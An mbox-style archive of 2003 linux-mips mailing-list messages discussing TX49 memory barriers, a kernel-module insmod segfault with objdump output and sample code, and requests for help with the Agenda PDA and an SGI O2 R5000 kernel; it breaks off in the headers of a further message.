In-Reply-To: <3E9D9827.F2565C70@ekner.info>; from hartvig@ekner.info on Wed, Apr 16, 2003 at 07:51:35PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2086
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Wed, Apr 16, 2003 at 07:51:35PM +0200, Hartvig Ekner wrote:

> I'll test it out a little later this evening. But I think there is a
> typo and this patch should be applied:

Technically right, so I applied it.

(Usual comment - Mozilla garbles inline patches so while inline patches
are prefered with Mozilla sending them as an attachment is necessary.)

  Ralf

From anemo@mba.ocn.ne.jp Thu Apr 17 03:21:16 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 03:21:22 +0100 (BST)
Received: from topsns.toshiba-tops.co.jp ([IPv6:::ffff:202.230.225.5]:42533
	"HELO topsns.toshiba-tops.co.jp") by linux-mips.org with SMTP
	id <S8225201AbTDQCVQ>; Thu, 17 Apr 2003 03:21:16 +0100
Received: from no.name.available by topsns.toshiba-tops.co.jp
          via smtpd (for mail.linux-mips.org [62.254.210.162]) with SMTP; 17 Apr 2003 02:21:15 UT
Received: from localhost (fragile [172.17.28.65])
	by srd2sd.toshiba-tops.co.jp (8.12.9/8.12.9) with ESMTP id h3H2KwNr004901;
	Thu, 17 Apr 2003 11:20:58 +0900 (JST)
	(envelope-from anemo@mba.ocn.ne.jp)
Date: Thu, 17 Apr 2003 11:27:04 +0900 (JST)
Message-Id: <20030417.112704.74755522.nemoto@toshiba-tops.co.jp>
To: macro@ds2.pg.gda.pl
Cc: anemo@mba.ocn.ne.jp, kevink@mips.com, linux-mips@linux-mips.org,
	source@mvista.com
Subject: Re: wbflush() abuse for TOSHIBA_RBTX4927
From: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
In-Reply-To: <Pine.GSO.3.96.1030416153600.2017A-100000@delta.ds2.pg.gda.pl>
References: <20030416.205256.63134579.nemoto@toshiba-tops.co.jp>
	<Pine.GSO.3.96.1030416153600.2017A-100000@delta.ds2.pg.gda.pl>
X-Fingerprint: 6ACA 1623 39BD 9A94 9B1A  B746 CA77 FE94 2874 D52F
X-Pgp-Public-Key: http://wwwkeys.pgp.net/pks/lookup?op=get&search=0x2874D52F
Organization: TOSHIBA Personal Computer System Corporation
X-Mailer: Mew version 2.2 on Emacs 21.2 / Mule 5.0 (SAKAKI)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <anemo@mba.ocn.ne.jp>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2088
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: anemo@mba.ocn.ne.jp
Precedence: bulk
X-list: linux-mips

>>>>> On Wed, 16 Apr 2003 15:46:54 +0200 (MET DST), "Maciej W. Rozycki" <macro@ds2.pg.gda.pl> said:
>> AFAIK TX49's SYNC instruction correctly flushes the write buffer.

macro>  That would be an overkill; we only need to enforce strong
macro> ordering here.

Hmm... But SYNC is a only TX49 instruction that enforce completions of
preceding read operations.  (TX49 have "non-blocking load" feature
which allows non-cached read/write to overtake preceding cached read)

I can imagine three configurations:

1. Enable CONFIG_CPU_HAS_SYNC and disable CONFIG_CPU_HAS_WB.  In this
   case, wmb/rmb/mb/iob/wbflush macro all issues a SYNC instruction.

2. Disable CONFIG_CPU_HAS_SYNC and enable CONFIG_CPU_HAS_WB, In this
   case, wmb/rmb macro does nothing and mb/iob/wbflush macro calls
   __wbflush().

3. Enable both CONFIG_CPU_HAS_SYNC and CONFIG_CPU_HAS_WB, In this
   case, wmb/rmb macro issues a SYNC instruction, mb/iob macro calls
   __wbflush() and wbflush macro do both.

In the case 2 and 3, __wbflush() must be implemented with SYNC instruction
and/or bc0f loop.

I think the case 1 is good and enough for TX49.

>> No bc0f loop is required.

macro>  But an external buffer may be attached to a TX49 core, IIRC,
macro> so if it is the case for TOSHIBA_RBTX4927, it's obviously
macro> needed.

Although I'm not sure whether TX49 core can be integrated with such an
external write buffer, all TX49XX (not TX39) I have ever seen does not
have it.

---
Atsushi Nemoto

From macro@ds2.pg.gda.pl Thu Apr 17 12:12:12 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 12:12:13 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:34722 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8224861AbTDQLMM>; Thu, 17 Apr 2003 12:12:12 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id NAA16657;
	Thu, 17 Apr 2003 13:12:44 +0200 (MET DST)
Date: Thu, 17 Apr 2003 13:12:43 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Reply-To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
cc: kevink@mips.com, linux-mips@linux-mips.org, source@mvista.com
Subject: Re: wbflush() abuse for TOSHIBA_RBTX4927
In-Reply-To: <20030417.112704.74755522.nemoto@toshiba-tops.co.jp>
Message-ID: <Pine.GSO.3.96.1030417130259.16154B-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2089
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Thu, 17 Apr 2003, Atsushi Nemoto wrote:

> >> AFAIK TX49's SYNC instruction correctly flushes the write buffer.
> 
> macro>  That would be an overkill; we only need to enforce strong
> macro> ordering here.
> 
> Hmm... But SYNC is a only TX49 instruction that enforce completions of
> preceding read operations.  (TX49 have "non-blocking load" feature
> which allows non-cached read/write to overtake preceding cached read)

 Yes it is the correct instruction and it works, but if it really flushes
the write buffer, then it does too much and hits performance -- all that
it needs to do is to act as an ordering barrier and assure the write
buffer gets drained before any *subsequent* load or store, which might not
necessarily happen soon. 

> I can imagine three configurations:
> 
> 1. Enable CONFIG_CPU_HAS_SYNC and disable CONFIG_CPU_HAS_WB.  In this
>    case, wmb/rmb/mb/iob/wbflush macro all issues a SYNC instruction.
[...]
> Although I'm not sure whether TX49 core can be integrated with such an
> external write buffer, all TX49XX (not TX39) I have ever seen does not
> have it.

 Then case #1 should be just fine, but the code gets it differently.

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From penguin365@dyweni.com Thu Apr 17 12:28:30 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 12:28:30 +0100 (BST)
Received: from imail.ricis.com ([IPv6:::ffff:64.244.234.16]:8966 "EHLO
	imail.ricis.com") by linux-mips.org with ESMTP id <S8224861AbTDQL2a>;
	Thu, 17 Apr 2003 12:28:30 +0100
Received: from zempter.dyweni.com [10.16.0.22] by imail.ricis.com
  (SMTPD32-7.13) id A7EA1180122; Thu, 17 Apr 2003 07:02:50 -0500
Date: Wed, 16 Apr 2003 18:31:22 -0500
From: penguin365 <penguin365@dyweni.com>
To: linux-mips@linux-mips.org
Subject: Developing for the Agenda PDA
Message-Id: <20030416183122.2e21c4fc.penguin365@dyweni.com>
Reply-To: penguin365@dyweni.com
X-Mailer: Sylpheed version 0.8.11 (GTK+ 1.2.10; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Note: Send abuse reports to abuse@[(Private IP)].
Return-Path: <penguin365@dyweni.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2090
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: penguin365@dyweni.com
Precedence: bulk
X-list: linux-mips


Hi list.

I am considering to buy an Agenda PDA.  From the kernel sources that were built for it, It appears to be running a MIPS VR4181 processor.

I took a look around and found that with some special tools and customizations from http://www.linux-vr.org/kernel.html, it appears to be possible to build a kernel for the agenda on a regular x86 box.

I am initially thinking that with the cross-compile tools and such, I should be able to build some application for the Agenda as well.  Could someone verify if this is the case?

Also, While I dont have an Agenda right now, I was wondering if there is a VR4181 emulator out there that will run on linux, similar to how vmware does.  I've seen the SPIM emulator http://www.cs.wisc.edu/~larus/spim.html.  Does this work for the vr4181 or do i need to find something else?

Thanks

-- 
+-----------------------------------------------------------------------------+
| penguin365                                                                  |
+-----------------------------------------------------------------------------+
| USER, n.:                                                                   |
|         The word computer professionals use when they mean "idiot".         |
|                 -- Dave Barry, "Claw Your Way to the Top"                   |
+-----------------------------------------------------------------------------+


From bruno.randolf@4g-systems.de Thu Apr 17 12:29:42 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 12:29:45 +0100 (BST)
Received: from moutng.kundenserver.de ([IPv6:::ffff:212.227.126.183]:41424
	"EHLO moutng.kundenserver.de") by linux-mips.org with ESMTP
	id <S8224861AbTDQL3m>; Thu, 17 Apr 2003 12:29:42 +0100
Received: from [212.227.126.160] (helo=mrelayng.kundenserver.de)
	by moutng.kundenserver.de with esmtp (Exim 3.35 #1)
	id 1967aG-0004yN-00
	for linux-mips@linux-mips.org; Thu, 17 Apr 2003 13:29:40 +0200
Received: from [62.109.119.183] (helo=bruno.4g)
	by mrelayng.kundenserver.de with asmtp (Exim 3.35 #1)
	id 1967aF-0005Sn-00
	for linux-mips@linux-mips.org; Thu, 17 Apr 2003 13:29:39 +0200
From: Bruno Randolf <bruno.randolf@4g-systems.de>
Organization: 4G Mobile Systeme
Date: Thu, 17 Apr 2003 13:29:33 +0200
User-Agent: KMail/1.5.1
MIME-Version: 1.0
To: linux-mips@linux-mips.org
Subject: insmod segfault
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_dApn+immocQXI7e"
Message-Id: <200304171329.37998.bruno.randolf@4g-systems.de>
Return-Path: <bruno.randolf@4g-systems.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2091
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: bruno.randolf@4g-systems.de
Precedence: bulk
X-list: linux-mips


--Boundary-00=_dApn+immocQXI7e
Content-Type: Text/Plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Description: clearsigned data
Content-Disposition: inline

=2D----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

hello!

i have problems with a kernel module: when i insmod it, i get a segmentatio=
n=20
fault and "Unable to handle kernel paging request at virtual address=20
00000004" oops, so as far as i understand it, it seems like relocation does=
=20
not occur properly.

i can reproduce the problem with the attached simple test code. when i insm=
od=20
only hello_module.o it works fine, but when i insmod the result of "ld"=20
(mod.o) i get the error. so it seems the problem is with the linker. or am =
i=20
using wrong compiler / linker flags or doing something stupid?

i compile with "gcc -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer=20
=2D -fno-strict-aliasing -mno-abicalls -G 0 -fno-pic -mcpu=3Dr4600 -mips2=20
=2D -Wa,--trap -pipe -mlong-calls -I/usr/src/linux/include -O3 -D__KERNEL__=
=20
=2D -DLINUX -DMESSAGES"

and link with "ld -r -o mod.o hello_module.o b.o"

versions:
* au1500 CPU
* kernel version 2.4.21-pre4 from cvs
* gcc version 3.0.4 (also: gcc version 2.95.4)
* GNU ld version 2.12.90.0.1 20020307 Debian/GNU Linux
* insmod version 2.4.15

objdump -x mod.o says:

=2D ---

mod.o:     file format elf32-tradlittlemips
mod.o
architecture: mips:6000, flags 0x00000011:
HAS_RELOC, HAS_SYMS
start address 0x00000000
private flags =3D 10001001: [abi=3DO32] [mips2] [not 32bitmode]

Sections:
Idx Name          Size      VMA               LMA               File off  A=
lgn
  0 .reginfo      00000018  00000000  00000000  00000034  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA, LINK_ONCE_SAME_SIZE
  1 .text         00000070  00000000  00000000  00000050  2**4
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
  2 .rodata       00000030  00000000  00000000  000000c0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .modinfo      0000001c  00000000  00000000  000000f0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .data         00000000  00000000  00000000  00000110  2**4
                  CONTENTS, ALLOC, LOAD, DATA
  5 .sbss         00000000  00000000  00000000  00000110  2**0
                  ALLOC
  6 .bss          00000000  00000000  00000000  00000110  2**4
                  ALLOC
  7 .comment      00000024  00000000  00000000  00000110  2**0
                  CONTENTS, READONLY
  8 .pdr          00000040  00000000  00000000  00000134  2**2
                  CONTENTS, RELOC, READONLY
SYMBOL TABLE:
00000000 l    d  .reginfo       00000000
00000000 l    d  .text  00000000
00000000 l    d  *ABS*  00000000
00000000 l    d  *ABS*  00000000
00000000 l    d  .rodata        00000000
00000000 l    d  .modinfo       00000000
00000000 l    d  .data  00000000
00000000 l    d  .sbss  00000000
00000000 l    d  .bss   00000000
00000000 l    d  .comment       00000000
00000000 l    d  .pdr   00000000
00000000 l    d  *ABS*  00000000
00000000 l    d  *ABS*  00000000
00000000 l    d  *ABS*  00000000
00000000 l    d  *ABS*  00000000
00000000 l    d  *ABS*  00000000
00000000 l    df *ABS*  00000000 hello_module.c
00000000 l     O .modinfo       0000001b __module_kernel_version
00000000 l    df *ABS*  00000000 b.c
00000004 g     O .scommon       00000004 b
00000038 g     F .text  00000000 cleanup_module
00000000 g     F .text  00000000 init_module
00000000         *UND*  00000000 printk
00000004 g     O .scommon       00000004 glob_int


RELOCATION RECORDS FOR [.text]:
OFFSET   TYPE              VALUE
00000008 R_MIPS_HI16       .rodata
0000000c R_MIPS_LO16       .rodata
00000010 R_MIPS_HI16       printk
00000014 R_MIPS_LO16       printk
00000028 R_MIPS_HI16       glob_int
0000002c R_MIPS_LO16       glob_int
00000040 R_MIPS_HI16       .rodata
00000044 R_MIPS_LO16       .rodata
00000048 R_MIPS_HI16       printk
0000004c R_MIPS_LO16       printk


RELOCATION RECORDS FOR [.pdr]:
OFFSET   TYPE              VALUE
00000000 R_MIPS_32         init_module
00000020 R_MIPS_32         cleanup_module

=2D ---

thanks for any hints.

btw: this issue is not related to the one i posted about before ("au1500mm=
=20
problems") - which is resolved already and was caused by a wrong=20
initialization of the dual PHY ethernet hardware.

bruno
=2D----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+npAhfg2jtUL97G4RAu5qAJ4xWO8tpPYTCTkcWzkIn3D2ylhAhQCgo2As
dAXSGorKOTB9E6C1r3I1WEU=3D
=3D2wA9
=2D----END PGP SIGNATURE-----

--Boundary-00=_dApn+immocQXI7e
Content-Type: text/x-csrc;
  charset="us-ascii";
  name="b.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="b.c"

int b;

--Boundary-00=_dApn+immocQXI7e
Content-Type: text/x-csrc;
  charset="us-ascii";
  name="hello_module.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="hello_module.c"

#define MODULE
#include <linux/module.h>

int glob_int;

int init_module(void) {
	printk("<1>hello world\n");
	glob_int = 0;
	return 0;
}

void cleanup_module(void) {
	printk("<1>goodby cruel world\n");
}

--Boundary-00=_dApn+immocQXI7e
Content-Type: text/x-makefile;
  charset="us-ascii";
  name="Makefile"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="Makefile"

CC := gcc
CFLAGS := -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing -mno-abicalls -G 0 -fno-pic -mcpu=r4600 -mips2 -Wa,--trap -pipe -mlong-calls -I/usr/src/linux/include -O3 -D__KERNEL__ -DLINUX -DMESSAGES

all: hello_module.o b.o

	ld -r -o mod.o hello_module.o b.o

clean:
	rm hello_module.o b.o

--Boundary-00=_dApn+immocQXI7e--


From donath@hks.com Thu Apr 17 14:13:01 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 14:13:04 +0100 (BST)
Received: from mail.hks.com ([IPv6:::ffff:63.125.197.5]:53735 "EHLO
	mail.hks.com") by linux-mips.org with ESMTP id <S8224861AbTDQNNB>;
	Thu, 17 Apr 2003 14:13:01 +0100
Received: from gimli.hks.com (fw.hks.com [63.125.196.1])
	by mail.hks.com (Postfix) with ESMTP id 4226777C49
	for <linux-mips@linux-mips.org>; Thu, 17 Apr 2003 09:12:57 -0400 (EDT)
Received: from perseus.hks.com (perseus.hks.com [172.16.2.12])
	by gimli.hks.com (Postfix) with ESMTP id 1EAF424ADA1
	for <@hks.com:linux-mips@linux-mips.org>; Thu, 17 Apr 2003 09:12:57 -0400 (EDT)
Received: (from donath@localhost) by perseus.hks.com (980427.SGI.8.8.8/970903.SGI) id JAA16772 for linux-mips@linux-mips.org; Thu, 17 Apr 2003 09:12:55 -0400 (EDT)
From: Clarence Donath <donath@hks.com>
Organization: Abaqus, Inc.
To: linux-mips@linux-mips.org
Subject: R5000 Linux
Date: Thu, 17 Apr 2003 09:12:55 -0400
User-Agent: KMail/1.5
MIME-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Message-Id: <200304170912.55096.donath@hks.com>
Return-Path: <donath@hks.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2092
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: donath@hks.com
Precedence: bulk
X-list: linux-mips

Hello,

Is there a Linux kernel for the R5000 IP32?  I would like to get involved.

I've successfully configured this SGI O2 to boot the available R4000 IP22 
kernel so I'm ready to go with IP32 if someone would be so kind as to point 
me to an existing kernel.

Thank you,
Clarence Donath

From ilya@gateway.total-knowledge.com Thu Apr 17 15:59:21 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 15:59:22 +0100 (BST)
Received: from 12-234-207-60.client.attbi.com ([IPv6:::ffff:12.234.207.60]:4482
	"HELO gateway.total-knowledge.com") by linux-mips.org with SMTP
	id <S8224861AbTDQO7V>; Thu, 17 Apr 2003 15:59:21 +0100
Received: (qmail 14272 invoked by uid 502); 17 Apr 2003 14:59:11 -0000
Date: Thu, 17 Apr 2003 07:59:11 -0700
From: ilya@theIlya.com
To: Bruno Randolf <bruno.randolf@4g-systems.de>
Cc: linux-mips@linux-mips.org
Subject: Re: insmod segfault
Message-ID: <20030417145911.GC4485@gateway.total-knowledge.com>
References: <200304171329.37998.bruno.randolf@4g-systems.de>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="6Vw0j8UKbyX0bfpA"
Content-Disposition: inline
In-Reply-To: <200304171329.37998.bruno.randolf@4g-systems.de>
User-Agent: Mutt/1.4i
Return-Path: <ilya@gateway.total-knowledge.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2093
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ilya@theIlya.com
Precedence: bulk
X-list: linux-mips


--6Vw0j8UKbyX0bfpA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

I think you have to add -DMODULE when compiling soemthing as module...

On Thu, Apr 17, 2003 at 01:29:33PM +0200, Bruno Randolf wrote:
Content-Description: clearsigned data
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>=20
> hello!
>=20
> i have problems with a kernel module: when i insmod it, i get a segmentat=
ion=20
> fault and "Unable to handle kernel paging request at virtual address=20
> 00000004" oops, so as far as i understand it, it seems like relocation do=
es=20
> not occur properly.
>=20
> i can reproduce the problem with the attached simple test code. when i in=
smod=20
> only hello_module.o it works fine, but when i insmod the result of "ld"=
=20
> (mod.o) i get the error. so it seems the problem is with the linker. or a=
m i=20
> using wrong compiler / linker flags or doing something stupid?
>=20
> i compile with "gcc -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer=20
> - -fno-strict-aliasing -mno-abicalls -G 0 -fno-pic -mcpu=3Dr4600 -mips2=
=20
> - -Wa,--trap -pipe -mlong-calls -I/usr/src/linux/include -O3 -D__KERNEL__=
=20
> - -DLINUX -DMESSAGES"
>=20
> and link with "ld -r -o mod.o hello_module.o b.o"
>=20
> versions:
> * au1500 CPU
> * kernel version 2.4.21-pre4 from cvs
> * gcc version 3.0.4 (also: gcc version 2.95.4)
> * GNU ld version 2.12.90.0.1 20020307 Debian/GNU Linux
> * insmod version 2.4.15
>=20
> objdump -x mod.o says:
>=20
> - ---
>=20
> mod.o:     file format elf32-tradlittlemips
> mod.o
> architecture: mips:6000, flags 0x00000011:
> HAS_RELOC, HAS_SYMS
> start address 0x00000000
> private flags =3D 10001001: [abi=3DO32] [mips2] [not 32bitmode]
>=20
> Sections:
> Idx Name          Size      VMA               LMA               File off =
 Algn
>   0 .reginfo      00000018  00000000  00000000  00000034  2**2
>                   CONTENTS, ALLOC, LOAD, READONLY, DATA, LINK_ONCE_SAME_S=
IZE
>   1 .text         00000070  00000000  00000000  00000050  2**4
>                   CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
>   2 .rodata       00000030  00000000  00000000  000000c0  2**4
>                   CONTENTS, ALLOC, LOAD, READONLY, DATA
>   3 .modinfo      0000001c  00000000  00000000  000000f0  2**2
>                   CONTENTS, ALLOC, LOAD, READONLY, DATA
>   4 .data         00000000  00000000  00000000  00000110  2**4
>                   CONTENTS, ALLOC, LOAD, DATA
>   5 .sbss         00000000  00000000  00000000  00000110  2**0
>                   ALLOC
>   6 .bss          00000000  00000000  00000000  00000110  2**4
>                   ALLOC
>   7 .comment      00000024  00000000  00000000  00000110  2**0
>                   CONTENTS, READONLY
>   8 .pdr          00000040  00000000  00000000  00000134  2**2
>                   CONTENTS, RELOC, READONLY
> SYMBOL TABLE:
> 00000000 l    d  .reginfo       00000000
> 00000000 l    d  .text  00000000
> 00000000 l    d  *ABS*  00000000
> 00000000 l    d  *ABS*  00000000
> 00000000 l    d  .rodata        00000000
> 00000000 l    d  .modinfo       00000000
> 00000000 l    d  .data  00000000
> 00000000 l    d  .sbss  00000000
> 00000000 l    d  .bss   00000000
> 00000000 l    d  .comment       00000000
> 00000000 l    d  .pdr   00000000
> 00000000 l    d  *ABS*  00000000
> 00000000 l    d  *ABS*  00000000
> 00000000 l    d  *ABS*  00000000
> 00000000 l    d  *ABS*  00000000
> 00000000 l    d  *ABS*  00000000
> 00000000 l    df *ABS*  00000000 hello_module.c
> 00000000 l     O .modinfo       0000001b __module_kernel_version
> 00000000 l    df *ABS*  00000000 b.c
> 00000004 g     O .scommon       00000004 b
> 00000038 g     F .text  00000000 cleanup_module
> 00000000 g     F .text  00000000 init_module
> 00000000         *UND*  00000000 printk
> 00000004 g     O .scommon       00000004 glob_int
>=20
>=20
> RELOCATION RECORDS FOR [.text]:
> OFFSET   TYPE              VALUE
> 00000008 R_MIPS_HI16       .rodata
> 0000000c R_MIPS_LO16       .rodata
> 00000010 R_MIPS_HI16       printk
> 00000014 R_MIPS_LO16       printk
> 00000028 R_MIPS_HI16       glob_int
> 0000002c R_MIPS_LO16       glob_int
> 00000040 R_MIPS_HI16       .rodata
> 00000044 R_MIPS_LO16       .rodata
> 00000048 R_MIPS_HI16       printk
> 0000004c R_MIPS_LO16       printk
>=20
>=20
> RELOCATION RECORDS FOR [.pdr]:
> OFFSET   TYPE              VALUE
> 00000000 R_MIPS_32         init_module
> 00000020 R_MIPS_32         cleanup_module
>=20
> - ---
>=20
> thanks for any hints.
>=20
> btw: this issue is not related to the one i posted about before ("au1500m=
m=20
> problems") - which is resolved already and was caused by a wrong=20
> initialization of the dual PHY ethernet hardware.
>=20
> bruno
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.1 (GNU/Linux)
>=20
> iD8DBQE+npAhfg2jtUL97G4RAu5qAJ4xWO8tpPYTCTkcWzkIn3D2ylhAhQCgo2As
> dAXSGorKOTB9E6C1r3I1WEU=3D
> =3D2wA9
> -----END PGP SIGNATURE-----





--6Vw0j8UKbyX0bfpA
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE+nsE/7sVBmHZT8w8RAv9wAJ0cQ8ZvBIB+NBxc4n5KK1uC+Q8TIACg2cZ2
qrQtV0V0VtCDya5IAvEAp18=
=cA0Z
-----END PGP SIGNATURE-----

--6Vw0j8UKbyX0bfpA--

From agx@sigxcpu.org Thu Apr 17 15:59:45 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 15:59:46 +0100 (BST)
Received: from honk1.physik.uni-konstanz.de ([IPv6:::ffff:134.34.140.224]:60343
	"EHLO honk1.physik.uni-konstanz.de") by linux-mips.org with ESMTP
	id <S8224861AbTDQO7p>; Thu, 17 Apr 2003 15:59:45 +0100
Received: from localhost (localhost [127.0.0.1])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP id E9C302BC37
	for <linux-mips@linux-mips.org>; Thu, 17 Apr 2003 16:59:40 +0200 (CEST)
Received: from honk1.physik.uni-konstanz.de ([127.0.0.1])
 by localhost (honk [127.0.0.1:10024]) (amavisd-new) with ESMTP id 26209-03
 for <linux-mips@linux-mips.org>; Thu, 17 Apr 2003 16:59:39 +0200 (CEST)
Received: from bogon.sigxcpu.org (bogon.physik.uni-konstanz.de [134.34.147.122])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP id 9056C2BC33
	for <linux-mips@linux-mips.org>; Thu, 17 Apr 2003 16:59:39 +0200 (CEST)
Received: by bogon.sigxcpu.org (Postfix, from userid 1000)
	id 016241735C; Thu, 17 Apr 2003 16:56:50 +0200 (CEST)
Date: Thu, 17 Apr 2003 16:56:50 +0200
From: Guido Guenther <agx@sigxcpu.org>
To: linux-mips@linux-mips.org
Subject: Re: R5000 Linux
Message-ID: <20030417145650.GJ22768@bogon.ms20.nix>
Mail-Followup-To: Guido Guenther <agx@sigxcpu.org>,
	linux-mips@linux-mips.org
References: <200304170912.55096.donath@hks.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <200304170912.55096.donath@hks.com>
User-Agent: Mutt/1.5.3i
Return-Path: <agx@sigxcpu.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2094
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: agx@sigxcpu.org
Precedence: bulk
X-list: linux-mips

On Thu, Apr 17, 2003 at 09:12:55AM -0400, Clarence Donath wrote:
> Is there a Linux kernel for the R5000 IP32?  I would like to get involved.
I can send you a binary image if that's what you're looking for
(although I'm definitely not the right person to offer this since I have
almost 0 knowledge about the O2). I'd recommend to start from the
sources which are available through linux-mips.org's cvs repository.
See:
 http://www.linux-mips.org/kernel.html 
and the patches for the O2 for 2.5 are here:
 http://www.linux-mips.org/~glaurung/
You'll also find a cross toolchain there. The major show stopper for me
is currently the "do_cpu invoked from kernel context!" problem which I
didn't find any time to look into yet. I wonder wether I'm the only
person seeing this?

> 
> I've successfully configured this SGI O2 to boot the available R4000 IP22 
> kernel so I'm ready to go with IP32 if someone would be so kind as to point 
> me to an existing kernel.
Check out the excellent Linux O2 howto (but if you've done that for IP22
alreay this will be easy):
 http://www.total-knowledge.com/progs/mips/o2-howto.shtml
Regards,
 -- Guido

From ilya@gateway.total-knowledge.com Thu Apr 17 16:02:53 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 17 Apr 2003 16:02:54 +0100 (BST)
Received: from 12-234-207-60.client.attbi.com ([IPv6:::ffff:12.234.207.60]:5506
	"HELO gateway.total-knowledge.com") by linux-mips.org with SMTP
